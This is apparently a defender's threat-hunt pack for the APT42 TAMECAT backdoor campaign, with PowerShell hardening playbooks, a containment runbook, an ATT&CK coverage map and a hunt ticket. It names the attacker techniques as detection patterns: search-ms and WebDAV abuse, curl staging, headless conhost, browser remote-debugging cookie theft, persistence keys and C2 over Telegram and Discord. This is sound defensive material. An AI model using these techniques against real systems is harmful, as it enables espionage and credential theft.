# 0. AUDIT before enforcing -- how many hosts have ever started this service Get-Service WebClient | Select-Object Name, Status, StartType # 1. Stop and disable Stop-Service WebClient -Force -ErrorAction SilentlyContinue Set-Service WebClient -StartupType Disabled # 2. Verify -- expect Stopped / Disabled (Get-Service WebClient).Status (Get-Service WebClient).StartType # 3. CQL spot-check that the behaviour is gone post-deployment: # run Q1 over the 14 days AFTER rollout; expect zero rows. # ROLLBACK # Set-Service WebClient -StartupType Manual # Start-Service WebClient
P3 — PowerShell Script Block Logging, Module Logging and transcription
Prerequisites: local administrator; SIEM ingestion capacity for the PowerShell Operational channel (this is the main cost — size it before enabling fleet-wide). Prefer GPO or Intune over direct registry writes so the setting is managed and reversible centrally.
Reboot required: No. Applies to new PowerShell sessions.
Rollback: set each EnableScriptBlockLogging / EnableModuleLogging value to 0, or unlink the GPO. Transcript output directory can then be archived and removed.
# Script Block Logging $sb = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' New-Item -Path $sb -Force | Out-Null Set-ItemProperty -Path $sb -Name EnableScriptBlockLogging -Value 1 -Type DWord # Module Logging (all modules) $ml = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging' New-Item -Path "$ml\ModuleNames" -Force | Out-Null Set-ItemProperty -Path $ml -Name EnableModuleLogging -Value 1 -Type DWord Set-ItemProperty -Path "$ml\ModuleNames" -Name '*' -Value '*' # Transcription to a protected, append-only share $tr = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription' New-Item -Path $tr -Force | Out-Null Set-ItemProperty -Path $tr -Name EnableTranscripting -Value 1 -Type DWord Set-ItemProperty -Path $tr -Name EnableInvocationHeader -Value 1 -Type DWord Set-ItemProperty -Path $tr -Name OutputDirectory -Value '\\logsrv.internal-host.example.com\pslogs$' -Type String # Verify Get-ItemProperty $sb, $ml, $tr # ROLLBACK # Set-ItemProperty -Path $sb -Name EnableScriptBlockLogging -Value 0 # Set-ItemProperty -Path $ml -Name EnableModuleLogging -Value 0 # Set-ItemProperty -Path $tr -Name EnableTranscripting -Value 0
P4 — Defender ASR rules for the delivery chain
Prerequisites: Microsoft Defender Antivirus active (not passive) and real-time protection on. Run in Audit mode (value 2) for at least one week first and review Microsoft-Windows-Windows Defender/Operational for blocked-in-audit events — the JavaScript/VBScript rule can affect legacy line-of-business scripts.
Reboot required: No.
Rollback: re-run with -AttackSurfaceReductionRules_Actions Disabled for the affected GUIDs, or use Remove-MpPreference to drop the rule entirely.
# Rule GUIDs # d3e037e1-3eb8-44c8-a917-57927947596d Block JS/VBS from launching downloaded executable content # be9ba2d9-53ea-4cdc-84e5-9b1eeee46550 Block executable content from email client and webmail # d4f940ab-401b-4efc-aadc-ad5f3c50688a Block Office apps from creating child processes # STEP 1 -- AUDIT MODE (value 2). Run for one week. Do not skip. Add-MpPreference -AttackSurfaceReductionRules_Ids ` d3e037e1-3eb8-44c8-a917-57927947596d,` be9ba2d9-53ea-4cdc-84e5-9b1eeee46550,` d4f940ab-401b-4efc-aadc-ad5f3c50688a ` -AttackSurfaceReductionRules_Actions AuditMode,AuditMode,AuditMode # STEP 2 -- after reviewing audit events, switch to Enabled (block) Set-MpPreference -AttackSurfaceReductionRules_Ids ` d3e037e1-3eb8-44c8-a917-57927947596d,` be9ba2d9-53ea-4cdc-84e5-9b1eeee46550,` d4f940ab-401b-4efc-aadc-ad5f3c50688a ` -AttackSurfaceReductionRules_Actions Enabled,Enabled,Enabled # Verify Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Actions # ROLLBACK # Add-MpPreference -AttackSurfaceReductionRules_Ids <guid> -AttackSurfaceReductionRules_Actions Disabled
P5 — Block browser remote debugging by policy
Prerequisites: Edge and Chrome ADMX templates imported into the Central Store, or Intune settings catalogue. Create an exception security group for engineering and QA before enforcing — this policy breaks Selenium, Playwright and Puppeteer.
Reboot required: No. Applies at next browser launch.
Rollback: delete the RemoteDebuggingAllowed value, or unlink the GPO. Default behaviour (debugging permitted) returns at next browser launch.
# Microsoft Edge -- disallow remote debugging $edge = 'HKLM:\SOFTWARE\Policies\Microsoft\Edge' New-Item -Path $edge -Force | Out-Null Set-ItemProperty -Path $edge -Name RemoteDebuggingAllowed -Value 0 -Type DWord # Google Chrome -- same control $chrome = 'HKLM:\SOFTWARE\Policies\Google\Chrome' New-Item -Path $chrome -Force | Out-Null Set-ItemProperty -Path $chrome -Name RemoteDebuggingAllowed -Value 0 -Type DWord # Verify -- both must return 0 Get-ItemProperty $edge -Name RemoteDebuggingAllowed Get-ItemProperty $chrome -Name RemoteDebuggingAllowed # CQL spot-check: run Q6 over the 14 days after rollout. Remaining hits should map # only to the engineering exception group. # ROLLBACK # Remove-ItemProperty -Path $edge -Name RemoteDebuggingAllowed -ErrorAction SilentlyContinue # Remove-ItemProperty -Path $chrome -Name RemoteDebuggingAllowed -ErrorAction SilentlyContinue
Containment Runbook
Run the identity phase in parallel with the host phase, not after it. TAMECAT's objective is browser sessions and mailbox content. Reporting is explicit that access survives victim password resets, so a rebuilt laptop with un-revoked tokens is not a contained incident. Assign the identity workstream to a named owner at the moment the incident opens.
| Phase | Actions | Owner | Evidence to capture |
|---|---|---|---|
| 0 — Triage (first 15 min) | Confirm the detection is not a known tuning exception. Identify the user and whether they are in the senior-official or geopolitical-expert cohort. Open both a host incident and an identity incident. Notify the identity team immediately — do not queue this behind host forensics. | SOC L1 → L2 | Detection ID, full process tree, command lines, user and host identity. |
| 1 — Isolate | Network-contain the host in Falcon. Do not reboot and do not power off — almost all of the implant exists only in memory and a reboot destroys the evidence while the Run key reinfects on next logon anyway. Capture a memory image before any remediation. Preserve the user profile. | IR lead | Memory image; Falcon containment timestamp; volatile process list. |
| 1b — Revoke (in parallel) | Revoke all refresh tokens and sign-in sessions for the principal. Invalidate browser cookies. Reset the password after revocation, not instead of it. Review and remove unexpected OAuth consent grants, app registrations, registered authentication methods and enrolled devices. Check for new inbox rules, forwarding addresses and mailbox delegations. | Identity / IAM | Revocation timestamps; list of removed grants and rules; sign-in log export for the exposure window. |
| 2 — Scope | Re-run Q1 through Q11 across the fleet over maximum retention, then Q12. Extract the ALL*.txt and FileCrawler.txt queues from %LOCALAPPDATA%\Caches — these are Base64-encoded full paths and give you an exact inventory of what was staged for theft. Pull PowerShell 4104 logs and recover module bodies. Check whether family members or close colleagues of the target received similar approaches. | Threat hunting | Decoded ALL.txt file inventory; 4104 script blocks; scope query results; C2 domains actually contacted. |
| 3 — Eradicate | Remove the Run value Renovation, the UserInitMprLogonScript environment value, any systemUpdating RunOnce value, and the firstOrder and MSCore keys. Delete %LOCALAPPDATA%\Caches, the AutoUpdate loader store, the IE List folder contents, and C:\Users\Public\Microsoft.bat. Given a fileless modular implant with runtime-injected configuration, rebuild from a known-good image is the defensible outcome; cleanup in place is acceptable only where a rebuild is genuinely impossible. | Endpoint ops | Registry export before deletion; file listing before deletion; rebuild record. |
| 4 — Block | Load the Section 10 CSV into Falcon IOC Management. Block the two tebi.io staging paths and the campaign domains at the proxy. Add the Sec-Host and Content-DPR header signature. Deploy Playbooks P1, P2 and P5 fleet-wide if not already done. | Network / endpoint ops | IOC import confirmation; proxy rule IDs; playbook deployment records. |
| 5 — Recover | Return the rebuilt host with phishing-resistant MFA enrolled and Playbooks P1–P5 applied. Re-issue credentials out of band. Monitor the principal's sign-ins at elevated sensitivity for 30 days, specifically for sessions originating from a device or ASN not seen before. | IR lead | Rebuild and re-enrolment record; 30-day monitoring plan. |
| 6 — Learn | Brief the affected individual and their immediate circle on the specific pretext used. Because the actor targets family members to reach the principal, extend the briefing accordingly. Feed the observed pretext into security-awareness content for the protected cohort, and consider whether the approach warrants notification to a national CERT. | CISO / awareness | Lessons-learned record; updated executive-protection briefing; external notification decision. |
Detection Coverage Map
| Technique | Behaviour | CQL | IOA | Hardening | Coverage |
|---|---|---|---|---|---|
| T1589 / T1588.007 | AI-assisted target research, persona and pretext development | — | — | H10 | GAP |
| T1566.002 / .003 | Rapport building over personal email and WhatsApp | — | — | H10 | GAP |
| T1204.001 | search-ms URI handler abuse via a crafted page | — | — | H1 (P1) | Partial — prevented, not detected |
| T1218.011 | rundll32 davclnt.dll,DavSetCookie WebDAV mount | Q1 | IOA-2 | H2 (P2) | Good |
| T1204.002 | Remote .lnk disguised as a PDF launching cmd.exe | Q2, Q12 | — | H11 | Good |
| T1105 / T1059.003 | curl download-rename-execute with --ssl-no-revoke | Q2 | — | H4 (P4) | Good |
| T1059.005 / T1518.001 / T1047 | VBScript AV health check branching on WMI results | Q3 | — | H4 (P4) | Partial — needs baselining |
| T1564.003 / T1037.001 | conhost --headless silent script execution | Q4 | IOA-1 | H11 | Good |
| T1027 / T1059.001 / T1620 | Wildcard cmdlet resolution concealing Invoke-Expression | Q5 | IOA-4 | H3 (P3), H7 | Good |
| T1027.013 / T1140 | Base64 shard reassembly plus AES-256-CBC in memory | — | — | H3 (P3) | Partial — PowerShell 4104 only |
| T1547.001 / T1037.001 | Renovation Run value, UserInitMprLogonScript, systemUpdating RunOnce | Q8 | IOA-5 | H11 | Good |
| T1112 | firstOrder / MSCore bookkeeping keys, console delegation pinning | Q9 | — | — | Partial — needs baselining |
| T1539 / T1185 / T1217 | Edge DevTools remote-debugging cookie theft | Q6 | IOA-3 | H6 (P5), H9 | Good |
| T1555.003 / T1562.001 | PsSuspend against Chrome to unlock credential databases | Q7 | — | H11, H12 | Partial — renamed binaries need the flag match |
| T1082 / T1057 / T1518.001 | Information, Application, Processes and Shell discovery modules | — | — | H7 | GAP — indistinguishable from admin activity in isolation |
| T1074.001 / T1005 | FileCrawler queues under %LOCALAPPDATA%\Caches | Q11 | — | H11 | Partial |
| T1114.001 | Outlook .ost mailbox cache collection | Q11 | — | — | Partial — noisy against backup tooling |
| T1113 | 50 screenshots at 15-second intervals, deleted after upload | — | — | — | GAP — in-memory GDI calls leave no process artefact |
| T1560.001 | Archive staging with a renamed WinRAR (R.exe) | Q11 | — | H11 | Partial |
| T1071.001 / T1583.006 | HTTPS C2 via Cloudflare Workers, Netlify, Glitch, Azion | Q10, Q12 | — | H8 | Partial — legitimate platforms |
| T1102.002 | Telegram bot and Discord webhook bidirectional C2 | Q10 | — | H8 | Partial — TLS to sanctioned platforms |
| T1573.001 | AES-256-CBC with the IV in a Sec-Host / Content-DPR header | — | — | H8 | Partial — proxy header inspection only |
| T1041 / T1048.003 | 5 MB chunked exfiltration; FTP as an alternate transport | Q10 | — | H8 | Partial |
| T1550.004 | Stolen cookie and refresh-token replay into cloud mail and VPN | — | — | H5, H9, H13 | GAP in EDR — covered by identity telemetry (Section 7) |
Known gaps and what to do about them
- Everything before execution is invisible. The reconnaissance, the AI-generated persona, and the weeks of WhatsApp and personal-email contact produce no enterprise telemetry at all. This is not a tuning problem and no query will fix it. H10 (executive protection and out-of-band verification) is the only control that addresses it.
- Screen capture leaves nothing behind. The Screen module calls
CopyFromScreenin-process and deletes each PNG immediately after upload. There is no process creation and no lasting file. Detect the session that enables it (Q1–Q5), not the capture itself. - Discovery modules are indistinguishable from administration. Enumerating OS version, installed software, running processes and AV products is what management tooling does all day. Do not hunt these standalone — correlate them to a confirmed Q1–Q5 hit on the same host and user.
- Token replay is not an endpoint event. Once cookies are stolen, the follow-on activity happens against your IdP from the attacker's infrastructure. Falcon will never see it. The Section 7 identity hunts and H9/H13 carry this technique.
- Q9 and Q11 are deliberately broad. Both will produce noise on first run. That is the intended trade: they are scoping tools for a confirmed incident, not standing alerts. Baseline them (validation gate 2) before considering promotion.
Validation status. No query in this pack has been executed against a live tenant. Field names are drawn from the Falcon data model and event names from the sensor event dictionary, and all twelve queries passed the CQL field and syntax gates. Work Section 11 gates 1 and 1b before you trust a zero-hit result: Q8 and Q9 need registry telemetry, Q10 needs DNS with process attribution, and five of the twelve queries fail silently if command-line capture is truncated.
Hunt Summary Ticket
TITLE: APT42 / SpearSpecter — fileless TAMECAT backdoor & browser session theft
SEVERITY: Critical — active nation-state espionage (IRGC-IO), targeted, low-volume
SCOPE: Windows endpoints of senior defense/government officials, geopolitical experts
and their family members. Identity plane (cloud mail, VPN) in scope by default.
HYPOTHESIS: An operator built rapport with a protected-cohort user over personal email or
WhatsApp, then delivered a link that abused the search-ms URI handler to mount an
attacker WebDAV share. A remote .lnk disguised as a PDF ran cmd.exe, which used
curl --ssl-no-revoke to stage a batch loader, which ran obfuscated PowerShell that
executes TAMECAT modules entirely in memory. The implant then stole browser cookies
via Edge DevTools remote debugging, suspended Chrome to read its credential
databases, staged the Outlook .ost, and exfiltrated in 5 MB AES-encrypted chunks
over Cloudflare Workers, Telegram, Discord or FTP.
QUERIES: Q1 rundll32 davclnt.dll,DavSetCookie [CONF high FP med ]
Q2 curl --ssl-no-revoke [CONF high FP low ]
Q3 wscript/cscript spawning a shell [CONF med FP med ]
Q4 conhost --headless [CONF high FP low ]
Q5 wildcard Get-Command hiding Invoke-Expression [CONF high FP low ]
Q6 browser --remote-debugging-port + --no-sandbox [CONF high FP low]
Q7 -accepteula -nobanner process suspension [CONF med FP med ]
Q8 Renovation / UserInitMprLogonScript / systemUpdating [CONF high FP low]
Q9 firstOrder / MSCore / console delegation [CONF med FP med ]
Q10 DNS to abused serverless platforms [CONF med FP med ]
Q11 Caches staging, ALL.txt, .ost, Runs.dll [CONF med FP med ]
Q12 atomic hash sweep [CONF high FP low ]
DO FIRST: 1. Run Q1, Q2, Q4, Q5, Q6 over 30 days. These five are the delivery chain and
they do not depend on current infrastructure.
2. Run Q8 over maximum retention — persistence outlives the payload.
3. Load the Section 10 CSV into Falcon IOC Management.
4. Confirm command-line capture is not truncated (validation gate 1b) before
treating any zero-hit result as clean.
FINDINGS: [ ] Q1-Q5 delivery chain hits: ____ hosts: ____
[ ] Q6-Q7 browser credential theft hits: ____ hosts: ____
[ ] Q8-Q9 persistence hits: ____ hosts: ____
[ ] Q10-Q11 C2 and staging hits: ____ hosts: ____
[ ] Q12 atomic sweep hits: ____ hosts: ____
[ ] Identity: sessions continuing after password reset? Y / N
[ ] Identity: unexpected OAuth grants or inbox rules? Y / N
GAPS: Pre-execution social engineering (personal email, WhatsApp) — no telemetry.
Screen capture — in-memory, no artefact.
Discovery modules — indistinguishable from administration.
Token replay — IdP-side only, invisible to EDR.
ACTIONS: Immediate H1 remove search-ms handler (P1); H2 disable WebClient (P2);
H3 PowerShell logging (P3); H4 ASR rules (P4);
H5 make token revocation mandatory in the IR runbook.
Near term H6 block browser remote debugging (P5); H7 Constrained Language Mode;
H8 egress control + Sec-Host/Content-DPR proxy signature;
H9 phishing-resistant MFA and token protection; H10 executive protection.
Strategic H11 WDAC enforced; H12 Credential Guard + RunAsPPL;
H13 continuous access evaluation; H14 look-alike domain monitoring.
OWNER: ____________________ IDENTITY OWNER: ____________________
VERSION: v0.1 · 2026-07-27 · HuntPack
Changelog
Sec-Host and Content-DPR headers expressed as a vendor-neutral signature; and a Sigma export of Q1, Q4, Q5, Q6 and Q8 for non-Falcon estates.References
| Tier | Source | Used for | Accessed |
|---|---|---|---|
| 1 · Gov | Israel National Digital Agency — SpearSpecter: Unmasking Iran's IRGC Cyber Operations Targeting High-Profile Individuals | Primary advisory. Attack chain, TAMECAT modules, C2 channels, persistence mechanisms, encryption scheme, campaign infrastructure, and the search-ms hardening recommendation. | 2026-07-27 |
| 1 · Vendor | Google Cloud / Mandiant — Uncharmed: Untangling Iran's APT42 Operations | Independent corroboration of loader MD5s, the AES key and IV, the glitch.me C2 domain, and the misspell-then-repair tradecraft. Historical TAMECAT lineage. | 2026-07-27 |
| 1 · Framework | MITRE ATT&CK — S1193 TAMECAT | Canonical technique mapping for the implant. | 2026-07-27 |
| 1 · Framework | MITRE ATT&CK — G1044 APT42 | Actor-level technique set and software attribution. | 2026-07-27 |
| 2 · Vendor | Pulsedive Threat Research — TAMECAT: Analysis of an Iranian PowerShell-Based Backdoor | Deepest malware analysis. VBScript AV health check, loader hashes, Gorba/Borjol/Borpos routines, both AES keys, and the network IOC set. | 2026-07-27 |
| 2 · Vendor | GBHackers — Iran-Linked APT42 Uses AI-Assisted Phishing and TAMECAT Backdoor to Target Defense Officials (2026-07-21) | Generative-AI tradecraft; the April–May 2026 Netlify infrastructure set; the identity-centric framing and the point that password resets are insufficient. Relays DarkAtlas research — single-source for its IOCs. | 2026-07-27 |
| 3 · Aggregator | SecurityOnline.info — TAMECAT Exposed: APT42's Fileless Backdoor Targets Defense Chiefs | Corroboration of the AES key and the Telegram keyword set. Its Firefox claim was not carried forward. | 2026-07-27 |
| 3 · Aggregator | GBHackers — TAMECAT PowerShell Backdoor Targets Edge and Chrome | Independent corroboration of the loader and dropper hashes. | 2026-07-27 |
| 3 · Aggregator | CyberPress — TAMECAT Backdoor Steals Edge and Chrome Login Credentials | Third independent confirmation of the two SHA-256 hashes and the AES key. | 2026-07-27 |
| 3 · Vendor | SOC Prime — TAMECAT: APT42 PowerShell Backdoor with Telegram C2 | Attack-flow summary and confirmation of the glitch.me and tebi.io endpoints. Its attack-simulation script was read as input only and is not reproduced here. | 2026-07-27 |
Provenance. The full fetched text of every source above is saved in APT42-TAMECAT-SpearSpecter-Hunt-sources/ next to this file. Every atomic indicator shipped in Section 4 and Section 10 was mechanically traced back to at least one of those snapshots before publication. Nothing in the IOC set was reconstructed from memory.